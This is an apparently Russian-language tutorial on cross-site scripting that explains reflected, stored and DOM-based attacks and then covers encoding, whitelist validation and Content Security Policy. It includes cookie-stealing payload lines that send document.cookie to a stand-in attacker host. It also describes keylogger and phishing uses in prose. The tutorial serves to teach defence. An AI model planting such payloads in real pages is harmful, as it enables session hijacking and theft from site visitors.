Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

XSS: Уязвимость для инъекции

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Традиционные XSS-атаки: Отраженные (непостоянные).

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые (постоянные).

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Хранимые (постоянные).

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

В чем опасность XSS?

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.

И является комплексным учебником по межсайтовому скриптингу.

Часть первая: Обзор Что такое XSS?

Межсайтовый скриптинг (англ. Cross-site scripting ) — это атака нацеленная на внедрение кода, позволяющая злоумышленнику выполнить вредоносный JavaScript в браузере другого пользователя.

Злоумышленник не атакует свою жертву напрямую. Вместо этого он использует уязвимость веб-сайта который посещает жертва и внедряет вредоносный JavaScript код. В браузере жертвы вредоносный JavaScript отображается как легитимная часть веб-сайта, а сам веб-сайт выступает в качестве непосредственного соучастника атакующего.

Внедрение вредоносного JavaScript-кода

Единственный способ для атакующего запустить вредоносный JavaScript в браузере жертвы — это внедрить его в одну из страниц, которую загружает жертва с веб-сайта. Это возможно, если веб-сайт позволяет пользователям вводить данные на своих страницах, а атакующий сможет вставить строку, которая будет определятся как часть кода в браузере жертвы.

В приведенном ниже примере показан простой серверный скрипт, который используется для отображения последнего комментария на сайте:

print ""
print "Последний комментарий:"
print database.latestComment
print ""

Скрипт предполагает, что комментарий состоит только из текста. Однако, так как включен непосредственный пользовательский ввод, злоумышленник может оставить этот комментарий: "..." . Любой пользователь, посетивший страницу, теперь будет получать следующий ответ:

Последний комментарий:
...

Когда браузер пользователя загружает страницу, он будет выполнять все, в том числе JavaScript-код, содержащийся внутри тегов . Атакующий успешно провел атаку.

Что такое вредоносный JavaScript?

Возможность выполнения JavaScript в браузере жертвы может показаться не особенно вредоносной. JavaScript работает в очень ограниченной среде, которая имеет крайне ограниченный доступ к файлам пользователя и операционной системы. На самом деле, вы можете открыть консоль JavaScript в своем браузере прямо сейчас и выполнить любой JavaScript который хотите, и очень маловероятно, что вы сможете причинить какой-либо вред вашему компьютеру.

Тем не менее, возможности JavaScript-кода в качестве вредоносного становятся более понятными, если учесть следующие факты:

• JavaScript имеет доступ к некоторой конфиденциальной информации пользователя, например куки (cookies).
• JavaScript может отправлять HTTP-запросы с произвольным содержанием в произвольном направлении, используя XMLHttpRequest и другие механизмы.
• JavaScript может делать произвольные изменения в HTML-коде текущей страницы с помощью методов манипулирования DOM.

В случае комбинирования эти факты могут вызвать очень серьезные нарушения правил безопасности, подробности будут далее.

Последствия вредоносного JavaScript-кода

Кроме этого, возможность выполнить произвольный JavaScript в браузере другого пользователя позволяет злоумышленнику осуществить следующие типы атак:

Кража куки

злоумышленник может получить доступ к куки-записям жертвы, связанным с веб-сайтом, используя document.cookie , отправить их на свой собственный сервер и использовать их для извлечения конфиденциальной информации, такой как идентификаторы сеансов.

Кейлоггер

злоумышленник может зарегистрировать слушателя событий клавиатуры, используя addEventListener , а затем отправить все нажатия клавиш пользователя на свой сервер, потенциально записав конфиденциальную информацию, например, пароли и номера кредитных карт.

Фишинг

злоумышленник может вставить поддельную форму для входа на страницу, используя манипуляции DOM, установив action атрибуты формы на свой собственный сервер, а затем обмануть пользователя для получения конфиденциальной информации.

Хотя эти атаки существенно различаются, все они имеют одно существенное сходство: так как злоумышленник внедряет код на страницу обслуживаемую сайтом, вредоносный JavaScript выполняется в контексте этого веб-сайта. Это означает, что он рассматривается как любой другой сценарий с этого сайта: он имеет доступ к данным жертвы для этого веб-сайта (например куки-записи) и имя хоста отображаемое в строке URL будет то же, что и у веб-сайта. Для всех целей сценарий считается законной частью веб-сайта, что позволяет ему делать всё, что может делать сам веб-сайт.

Этот факт подчеркивает ключевую проблему:

Если злоумышленник может использовать ваш веб-сайт, для выполнения произвольного JavaScript-кода в браузере других пользователей, безопасность вашего веб-сайта и его пользователей скомпрометирована.

Чтобы подчеркнуть этот момент, некоторые примеры вредоносного скрипта в этом учебнике будут оставаться без подробностей, используя ... . Это свидетельствует о том, что простое присутствие скрипта, внедряемого атакующим является проблемой, независимо от того, какой конкретный код сценария на самом деле выполняется.

Часть вторая: XSS-атака Участники XSS-атаки

Перед тем, как подробно описать как работает атака XSS, нам необходимо определить субъектов участвующих в атаке XSS. В общем, в атаке XSS присутствует три участника: веб-сайт , жертва , и взломщик .

• Веб-сайт выдает HTML-страницы для пользователей запросивших их. В наших примерах он находится по адресу http://website/ .
  • База данных веб-сайта является базой данных, которая хранит некоторые введенные пользователями данные на страницах сайта.
• Жертва — это обычный пользователь веб-сайта, который запрашивает страницы у него с помощью своего браузера.
• Атакующий — это злоумышленник, который намеревается начать атаку на жертву за счет использования XSS-уязвимости на сайте.
  • Сервер взломщика — это веб-сервер под контролем злоумышленника с единственной целью — кража конфиденциальной информации жертвы. В наших примерах, он находится по адресу http://attacker/ .

Пример сценария атаки

window.location="http://attacker/?cookie="+document.cookie

Этот скрипт создаст HTTP-запрос на другой URL-адрес, который перенаправит браузер пользователя на сервер атакующего. URL-адрес включает в себя куки жертвы в качестве параметра запроса, когда HTTP-запрос приходит на сервер атакующего, злоумышленник может извлечь эти куки из запроса. После того, как злоумышленник получил куки, — он может использовать их, чтобы выдать себя за жертву и начать последующее нападение.

С этого момента, показанный выше HTML код будет называться вредоносной строкой или вредоносным скриптом . Важно понимать, что сама строка является вредоносной только если она, в конечном счете, обрабатывается как HTML-код в браузере жертвы, а это может произойти только в случае наличия XSS-уязвимости на веб-сайте.

Как работает этот пример атаки

На схеме ниже показан пример выполнения атаки злоумышленником:

Атакующий использует одну из форм веб-сайта для того, чтобы вставить вредоносную строку в базу данных веб-сайта.

Жертва запрашивает страницу с веб-сайта.

Сайт включает вредоносную строку из базы данных в ответ и отправляет его к жертве.

Браузер жертвы выполняет вредоносный сценарий внутри ответа, отправляя куки жертвы на сервер злоумышленника.

Типы XSS

Цель XSS-атаки всегда заключается в выполнении вредоносного JavaScript скрипта в браузере жертвы. Существует несколько принципиально различных способов достижения этой цели. XSS-атаки часто подразделяются на три типа:

• Хранимые (постоянные) XSS , где вредоносная строка берет свое начало из базы данных веб-сайта.
• Отражённые (непостоянные) XSS , где вредоносная строка порождается из запроса жертвы.
• DOM-модели XSS , где уязвимость возникает в коде на стороне клиента, а не на стороне серверного кода.

В предыдущем примере показана хранимая XSS-атака. Теперь мы опишем два других типа XSS-атак: отраженный XSS и XSS-атака DOM-модели.

Отражённый XSS

В случае отраженной XSS-атаки вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю. Схема ниже иллюстрирует этот сценарий:

Жертва обманным путем атакующего отправляет URL-запрос на веб-сайт.

Сайт включает вредоносную строку из URL-запроса в ответ жертве.

Браузер жертвы выполняет вредоносный сценарий, содержащийся в ответе, посылая куки жертвы на сервер злоумышленника.

Как успешно провести отраженную XSS-атаку?

Отраженная XSS-атака может показаться безобидной, поскольку она требует чтобы жертва от своего имени отправила запрос, содержащий вредоносную строку. Так как никто не будет добровольно атаковать себя, то кажется, что не существует способа фактического выполнения атаки.

Как выясняется, есть по крайней мере два распространенных способа заставить жертву начать отраженную XSS-атаку против себя:

• Если пользователь является конкретной личностью, злоумышленник может отправить вредоносную URL-ссылку жертве (например с помощью электронной почты или мессенджера), и обманом заставить его открыть ссылку для посещения веб-сайта.
• Если цель — это большая группа пользователей, злоумышленник может опубликовать ссылку на вредоносный URL (например на своем собственном веб-сайте или в социальной сети) и ждать посетителей которые перейдут по ссылке.

Оба эти метода похожи, и оба они могут быть более успешными с использованием служб позволяющих «укоротить» URL-адрес, они замаскируют вредоносную строку от пользователей, которые могли бы идентифицировать ее.

XSS в DOM-модели

XSS в DOM-модели представляет собой вариант как хранимой и отраженной XSS-атаки. В этой XSS-атаке вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится. Схема ниже иллюстрирует этот сценарий для отраженной XSS-атаки:

Атакующий создает URL-адрес, содержащий вредоносную строку, и отправляет его жертве.

Жертва обманным путем атакующего отправляет URL-запрос к веб-сайту.

Сайт принимает запрос, но не включает в ответ вредоносную строку.

Браузер жертвы выполняет легитимный сценарий, содержащийся в ответе, в результате чего вредоносный скрипт будет вставлен в страницу.

Браузер жертвы выполняет вредоносный скрипт, вставленный в страницу, посылая куки жертвы на сервер злоумышленника.

В чем отличие XSS в DOM-модели?

В предыдущих примерах хранимых и отраженных XSS-атак сервер вставляет вредоносный скрипт на страницу, которая затем пересылается в ответе к жертве. Когда браузер жертвы получил ответ, он предполагает, что вредоносный скрипт является частью легитимного содержания страницы, и автоматически выполняет его во время загрузки страницы, как и любой другой сценарий.

В примере XSS-атаки в DOM-модели вредоносный скрипт не вставляется как часть страницы; единственный скрипт, который автоматически выполняется во время загрузки страницы является легитимной частью страницы. Проблема заключается в том, что этот легитимный сценарий напрямую использует пользовательский ввод для того, чтобы добавить HTML на страницу. Поскольку вредоносная строка вставляется в страницу с помощью innerHTML , она анализируется как HTML, в результате чего вредоносный скрипт будет выполняться.

Это различие небольшое, но очень важное:

• В традиционном XSS вредоносный JavaScript выполняется при загрузке страницы, как часть HTML, отправленного сервером.
• В случае XSS в DOM-модели вредоносный JavaScript выполняется после загрузки страницы, в результате эта страница с легитимным JavaScript обращается небезопасным способом к пользовательскому вводу (содержащему вредоносную строку).

Как работает XSS в DOM-модели?

В предыдущем примере нет необходимости в JavaScript; сервер может генерировать все HTML сам по себе. Если код на стороне сервера не содержал бы уязвимостей, веб-сайт не был бы подвержен уязвимости XSS.

Однако, так как веб-приложения становятся более продвинутыми, все большее количество HTML-страниц генерируется с помощью JavaScript на стороне клиента, а не на сервере. В любое время контент должен изменятся без обновления всей страницы, это возможно с использованием JavaScript. В частности, это тот случай, когда страница обновляется после AJAX запроса.

Это означает, что XSS уязвимости могут присутствовать не только в серверной части кода вашего сайта, но и на стороне JavaScript-кода клиента вашего сайта. Следовательно, даже при полностью безопасном коде на стороне сервера, — клиентский код может все еще не безопасно включать ввод пользовательских данных при обновлении DOM после загрузки страницы. Если это произойдет, то код со стороны клиента позволит провести XSS-атаку не по вине кода со стороны сервера.

XSS на основе DOM-модели может быть невидим для сервера

Существует особый случай XSS-атаки в DOM-модели, в котором вредоносная строка никогда не отправляется на сервер веб-сайта: это происходит тогда, когда вредоносная строка содержится в фрагменте идентификатора URL-адреса (что-либо после символа #). Браузеры не отправляют эту часть URL-адреса на сервер, так что веб-сайт не имеет доступа к нему с помощью кода на стороне сервера. Код со стороны клиента, однако, имеет доступ к нему, и, таким образом, возможно проведение XSS-атаки путем небезопасной обработки.

Этот случай не ограничивается идентификатором фрагмента. Существует и другой пользовательский ввод, который является невидимым для сервера, например, новые функции HTML5, такие как LocalStorage и IndexedDB.

Часть третья:
Предотвращение XSS Методы предотвращения XSS

Напомним, что XSS является атакой типа внедрения кода: введенные данные пользователем ошибочно интерпретируются как вредоносный программный код. Для того, чтобы не допустить этого типа инъекции кода, требуется безопасная обработка ввода. Для веб-разработчика, существует два принципиально различных способа выполнения безопасной обработки ввода:

• Кодирование - это способ который позволяет произвести ввод данных пользователем только как данные и не позволяет браузеру обработку как кода.
• Валидация - это способ фильтрует пользовательский ввод так, что браузер интерпретирует его как код без вредоносных команд.

Хотя это принципиально разные методы предотвращения XSS, они имеют несколько общих черт, которые являются важными для понимания при использовании любого из них:

Контекст Безопасная обработка ввода должна быть выполнена по-разному в зависимости от того, где на странице используется пользовательский ввод. входящий/исходящий Безопасная обработка ввода может быть выполнена либо, когда ваш сайт получает входные данные (входящий трафик) или прямо перед тем, как сайт вставляет пользовательский ввод в содержимое страницы (исходящий). Клиент/Сервер Безопасная обработка ввода может быть выполнена либо на стороне клиента, либо на стороне сервера, каждый вариант необходим при различных обстоятельствах.

Прежде чем объяснять в деталях как работает кодирование и валидация мы опишем каждый из этих пунктов.

Обработка пользовательского ввода в контекстах

Есть много контекстов на веб-странице, где может быть применен пользовательский ввод. Для каждого из них должны быть соблюдены особые правила для того, чтобы пользовательский ввод не мог «вырваться» из своего контекста и не мог быть интерпретирован как вредоносный код. Ниже приведены наиболее распространенные контексты:

Какое значение имеют контексты?

Во всех описанных контекстах уязвимость приводящая к XSS может возникнуть если вводимые пользователем данные были вставлены до первого кодирования или валидации. Злоумышленник может внедрить вредоносный код просто вставив закрывающий разделитель для этого контекста и следом за ним вредоносный код.

Например, если в какой-то момент веб-сайт включает ввод данных пользователем непосредственно в атрибут HTML, злоумышленник сможет внедрить вредоносный сценарий, начав свой ввод с кавычки, как показано ниже:

Это можно было бы предотвратить, просто удалив все кавычки в пользовательском вводе, и все было бы хорошо, но только в этом контексте. Если же ввод был вставлен в другой контекст, закрывающий разделитель будет отличаться и инъекция станет возможной. По этой причине, безопасная обработка ввода всегда должна быть адаптирована к контексту, где будет вставлен пользовательский ввод.

Обработка входящего/исходящего пользовательского ввода

Инстинктивно, может показаться, что XSS можно предотвратить с помощью кодирования или валидации всего пользовательского ввода, как только наш сайт получает его. Таким образом, любые вредоносные строки уже будут нейтрализованы всякий раз, когда они будут включатся в страницу, и скриптам генерации HTML не придется заботиться о безопасной обработке пользовательского ввода.

Проблема состоит в том, что как было описано ранее, вводимые пользователем данные могут быть вставлены в несколько контекстов на странице. И нет простого способа определить, когда пользовательский ввод приходит в контекст — как он в конечном итоге будет вставлен, и тот же пользовательский ввод часто должен быть вставлен в различных контекстах. Опираясь на обработку входящего ввода для предотвращения XSS, мы создаем очень хрупкое решение, которое будет подвержено ошибкам. (Устаревшие «волшебные кавычки » PHP являются примером такого решения.)

Вместо этого, обработка исходящего ввода должна быть вашей основной линией защиты от XSS, потому что он может принимать во внимание конкретный контекст, какие вводимые пользователем данные будут вставлены. В какой то степени, входящую валидацию можно использовать для добавления вторичного слоя защиты, но об этом позже.

Где возможно выполнять безопасную обработку пользовательского ввода

В большинстве современных веб-приложений, пользовательский ввод обрабатывается как на стороне серверного кода, так и на стороне кода клиента. В целях защиты от всех типов XSS, безопасная обработка ввода должна быть выполнена как в коде на стороне сервера, так и на стороне кода клиента.

• В целях защиты от традиционных XSS, безопасная обработка ввода должна быть выполнена в коде на стороне сервера. Это делается с помощью какого-либо языка, поддерживаемого сервером.
• В целях защиты от XSS-атаки в DOM-модели, где сервер никогда не получает вредоносную строку (например, описанная ранее атака через фрагмент идентификатора), безопасная обработка ввода должна быть выполнена в коде на стороне клиента. Это делается с помощью JavaScript.

Теперь, когда мы объяснили, почему контекст имеет значение, почему различие между входящей и исходящей обработкой ввода имеет важное значение, и почему безопасная обработка ввода должна быть выполнена с обеих сторон, и на стороне клиента и на стороне сервера, мы можем продолжить чтобы объяснить, каким образом два типа безопасной обработки ввода (кодирование и валидация) выполняются фактически.

Кодирование

Кодирование является способом выхода из ситуации когда необходимо что бы пользовательский ввод данных браузер интерпретировал только как данные, а не код. Самый популярный тип кодирования в веб-разработке, это маскирование HTML, который преобразует символы, такие как < и > в < и > соответственно.

Следующий псевдокод является примером того, как вводимые пользователем данные (пользовательский ввод) могут быть закодированы с использованием HTML маскирования и затем вставлены в страницу с помощью серверного сценария:

print ""
print "Последний комментарий: "
print encodeHtml(userInput)
print ""

Если пользователь введет следующую строку ... , результирующий HTML будет выглядеть следующим образом:

Последний комментарий:
...

Потому что все символы со специальным значением были замаскированны, браузер не будет разбирать какую-либо часть пользовательского ввода, как HTML.

Кодирование кода на стороне клиента и сервера

При выполнении кодирования кода со стороны клиента, всегда используется язык JavaScript, который имеет встроенные функции которые кодируют данные для разных контекстов.

При выполнении кодирования в вашем коде на стороне сервера, вы полагаетесь на функции доступные в вашем языке или фреймворке. Из-за большого количества языков и доступных фреймворков, данное учебное пособие не будет охватывать детали кодирования в каком-либо конкретном языке сервера или фреймворка. Тем не менее функции кодирования JavaScript используемые на стороне клиента также используются при написании кода на стороне сервера.

Кодирование на стороне клиента

При кодировании пользовательского ввода на стороне клиента с помощью JavaScript есть несколько встроенных методов и свойств, которые автоматически кодируют все данные в контекстно-зависимый стиль:

Последний контекст уже упоминавшийся выше (значения в JavaScript) не входит в этот список, потому что JavaScript не предоставляет встроенный способ кодирования данных, который будет включен в исходный код JavaScript.

Ограничения кодирования

Даже при кодировании возможно использование злонамеренных строк в некоторых контекстах. Ярким примером этого является то, когда пользовательский ввод используется для предоставления URL-адреса, например, в приведенном ниже примере:

document.querySelector("a").href = userInput

Хотя указанное значение в свойстве элемента href автоматически кодирует его так, что он становится не более, чем значение атрибута, это само по себе не мешает злоумышленнику вставить URL, начинающийся с « javascript: «. При щелчке по ссылке, независимо от построения, встроенный JavaScript внутри URL будет выполнен.

Кодирование также не эффективное решение, когда вы хотите чтобы пользователи могли использовать часть HTML-кодов на странице. Примером может служить страница профиля пользователя, где пользователь может использовать пользовательский HTML. Если этот обычный HTML будет закодирован, страница профиля сможет состоять только из простого текста.

В подобных ситуациях, кодирование должно быть дополнено валидацией, с которой мы познакомимся далее.

Валидация

Валидация является актом фильтрации пользовательского ввода таким образом, чтобы все вредоносные его части были удалены, без необходимости удаления всего кода в нем. Один из самых используемых видов проверки в веб-разработке позволяет использовать некоторые HTML-элементы (например, и ) но запретив другие (например, ).

Существуют две основные характерные проверки, которые различаются своими реализациями:

Стратегия классификации Пользовательский ввод может быть классифицирован с использованием черных либо и белых списков. Результат валидации Пользовательский ввод идентифицированный как вредоносный может быть отклонен или продезинфицирован.

Стратегия классификации Черный список

Инстинктивно, представляется целесообразным выполнить проверку путем определения запрещенного шаблона, который не должен появляться в пользовательском вводе. Если строка соответствует этому шаблону, она помечается как недействительная. Например позволить пользователям отправлять пользовательские URL-адреса с любым протоколом, за исключением javascript: . Эта стратегия классификации называется черный список .

Тем не менее, черный список имеет два основных недостатка:

Сложность точно описывать множество всех возможных вредоносных строк, как правило, очень сложная задача. Пример политики описанный выше, не может быть успешно реализован путем простого поиска по подстроке « javascript «, потому что ему будет не хватать строки вида « Javascript: » (где первая буква в верхнем регистре) и « javascript: » (где первая буква кодируется как числовая ссылка на символ). Устаривание Даже если идеальный черный список был бы разработан, он окажется бесполезным если новую функцию добавленную в браузер будет возможно использовать для атаки. Например, если черный список для валидации HTML был разработан до введения в HTML5 атрибута onmousewheel он (черный список) не сможет остановить злоумышленника который будет использовать этот атрибут для выполнения XSS-атаки. Этот недостаток особенно важен в веб-разработке, которая состоит из множества различных технологий, которые постоянно обновляются.

Из-за этих недостатков черный список настоятельно не рекомендуется как стратегия классификации. Белый список, как правило, гораздо более безопасный подход, который мы опишем далее.

Белый список

Белый список по существу противоположен черному списку: вместо того, чтобы определять запрещенный шаблон, подход белого списка определяет разрешенный шаблон и отмечает ввод недействительным если он не соответствует этому шаблону.

В отличие от черных списков, примером белых списков было бы разрешить пользователям отправлять пользовательские URL-адреса, содержащие только протоколы http: и https: , ничего более. Такой подход позволил бы автоматически пометить что URL-адрес является недействительным, если он содержит протокол javascript: , даже если он представлен как « Javascript: » или « javascript: «.

По сравнению с черным списком у белых списков есть два основных преимущества:

Простота Точно описывать набор безопасных строк, как правило, намного проще, чем идентифицировать набор всех вредоносных строк. Это особенно применимо в общих ситуациях, когда пользовательский ввод должен включать в себя очень ограниченный набор функциональных возможностей доступных в браузере. Например, белый список описанный выше очень просто позволяет использовать URL-адреса только с разрешенными протоколами http: или https: , и в большинстве ситуаций этого вполне достаточно для пользователей. Долговечность В отличие от черного списка, белый список, как правило, не становятся устаревшими, когда новая функция добавляется в браузер. Например, HTML валидация белым списком позволяет только title атрибутам HTML-элементов оставаться безопасными, даже если он (белый список) был разработан до введения onmousewheel атрибута HTML5.

Результат валидации

Когда пользовательский ввод был отмечен как недействительный (запрещенный), может быть принято одно из двух действий:

Отклонение ввод просто отклоняется, предотвращая его использование в других местах на сайте. Дезинфекция все недействительные части вводимых данных удаляются, а оставшийся ввод используется на веб-сайте как обычно.

Из этих двух, «отклонение» является самым простым подходом в реализации. Но считается, что дезинфекция является более полезной, поскольку она предоставляет более широкий диапазон ввода для пользователя. Например, если пользователь отправляет номер кредитной карты, дезинфекция удалит все символы не являющиеся символами и предотвратит инъекцию кода, а также позволяет пользователю ввести номер как содержащий дефисы, так и без них.

Если вы решили реализовать дезинфекцию, необходимо убедиться в том, что сама процедура дезинфекции не использует подход чёрного списка. Например, URL-адрес « Javascript:... «, даже если идентифицирован с использованием белого списка как недействительный, получил бы в обход дезинфекции подпрограмму, которая просто удаляет все экземпляры « javascript: «. По этой причине, хорошо проверенные библиотеки и фреймворки по возможности должны использовать дезинфекцию.

Какие методы использовать для профилактики?

Кодирование должно быть вашей первой линией защиты от XSS-атак, его цель в обработке данных таким образом, что бы браузер не смог истолковать пользовательский ввод как код. В некоторых случаях кодирование должно быть дополнено валидацией. Кодирование и валидация должны применятся к исходящему трафику, потому что только тогда вы можете знать в каком контексте будет применен пользовательский ввод и какое кодирование и какую валидация необходимо применить.

В качестве второй линии обороны вы должны применять на входящих данных дезинфекцию или отклонение явно недействительного пользовательского ввода, например, ссылок с помощью протокола javascript: . Это не может само по себе обеспечить полную безопасность, но это полезная мера предосторожности если в любой точке защиты кодированием и валидацией из-за неправильного выполнения возможна ошибка.

Если эти две линии обороны используются последовательно, ваш сайт будет защищен от XSS атак. Однако из-за сложности создания и поддержания работы веб-сайта обеспечение полной защиты с использованием только безопасной обработки пользовательского ввода может быть затруднено. В качестве третьей линии обороны вы должны использовать Политики Безопасности Контента (англ. Content Security Policy ), далее CSP, которые мы опишем далее.

Политики Безопасности Контента (CSP)

Использовать только безопасную обработку пользовательского ввода для защиты от XSS-атак недостаточно, потому что даже одна ошибка безопасности может поставить под угрозу ваш веб-сайт. Применение из нового веб-стандарта Политик Безопасности Контента (CSP) может снизить этот риск.

CSP используются для ограничения использования браузером веб-страницы таким образом, что он может использовать только ресурсы загруженные из надежных источников. А ресурсы представляют собой сценарии, таблицы стилей, изображения, или какие-либо другие типы файлов на которые есть ссылки на странице. Это означает, что даже если злоумышленнику удастся провести инъекцию вредоносного контента на вашем сайте, CSP сможет предотвратить его исполнение.

CSP могут быть использованы для обеспечения соблюдения следующих правил:

Запрет ненадежных источников внешние ресурсы могут быть загружены только из набора четко определенных надежных источников. Запрет встроенных ресурсов встроенный JavaScript и CSS не будут учитываться. Запрет eval запрет использования функции eval в JavaScript.

CSP в действии

В следующем примере, злоумышленнику удалось внедрение вредоносного кода в веб-страницу:

Последний комментарий:

При правильно определенной политике CSP, браузер не может загрузить и выполнить malicious‑script.js потому что http://attacker/ не указан как надежный источник. Даже несмотря на то, что сайту не удалось надежно обрабатывать пользовательский ввод данных в данном случае политика CSP предотвратила уязвимость и причинение какого-либо вреда.

Даже если злоумышленник провел инъекцию кодом внутрь кода сценария, а не ссылкой на внешний файл, правильно настроенная политика CSP также запретит инъекцию в код JavaScript предотвратив уязвимость и причинение какого-либо вреда.

Как включить CSP?

По умолчанию, браузеры не используют CSP. Для того, что бы включить SCP на своем веб-сайте, страницы должны содержать дополнительный заголовок HTTP: Content‑Security‑Policy . Любая страница содержащая этот заголовок будет применять политики безопасности во время загрузки браузером, при условии что браузер поддерживает CSP.

Поскольку политика безопасности отправляется с каждым HTTP-ответом, есть возможность на сервере индивидуально установить политику для каждой страницы. Та же политика может быть применена ко всему веб-сайт, вставляя один и тот же заголовок CSP в каждом ответе.

Значение в заголовке Content‑Security‑Policy содержит строку, определяющую одну или несколько политик безопасности, которые будут работать на вашем сайте. Синтаксис этой строки будет описан далее.

Примеры заголовков в этом разделе используют перенос строки и отступы для простоты восприятия; они не должны присутствовать в настоящем заголовке.

Синтаксис CSP

Синтаксис заголовка CSP выглядит следующим образом:

Content‑Security‑Policy:
directive source‑expression , source‑expression , ...;
directive ...;
...

Этот синтаксис состоит из двух элементов:

• Директивы (directives) представляющие собой строки, указывающие тип ресурса, взятый из заданного списка.
• Выражение источника (source expressions) является моделью, описывающей один или несколько серверов от куда могут быть загружены ресурсы.

Для каждой директивы данные в выражении источника определяют какие источники можно использовать для загрузки ресурсов соответствующего типа.

Директивы

Следующие директивы могут быть использованы в заголовке CSP:

• connect‑src
• font‑src
• frame‑src
• img‑src
• media‑src
• object‑src
• script‑src
• style‑src

В дополнение к этому, специальная директива default‑src может использоваться для того, чтобы обеспечить значение по умолчанию для всех директив, которые не были включены в заголовок.

Выражение источника

Синтаксис для создания выражения источника выглядит следующим образом:

протокол:// имя‑хоста: номер‑порта

Имя хоста может начинаться с * , это означает, что любой поддомен предоставленного имени хоста будет разрешен. Аналогично номер порта может быть представлен в виде * , это означает что все порты будут разрешены. Кроме того, протокол и номер порта могут быть пропущены. В случае если протокол не указан, политика будет требовать чтобы все ресурсы быть загружены с помощью HTTPS.

В дополнение к указанному выше синтаксису, выражение источника может в качестве альтернативы быть одним из четырех ключевых слов со специальным значением (кавычки включены):

"none" запрещает ресурсы. "self" разрешает ресурсы с хоста на котором находится веб-страница. "unsafe‑inline" разрешает ресурсы, содержащиеся на странице как встроенные элементы, элементы, и javascript: URL-адреса. "unsafe‑eval" разрешает JavaScript функцию eval .

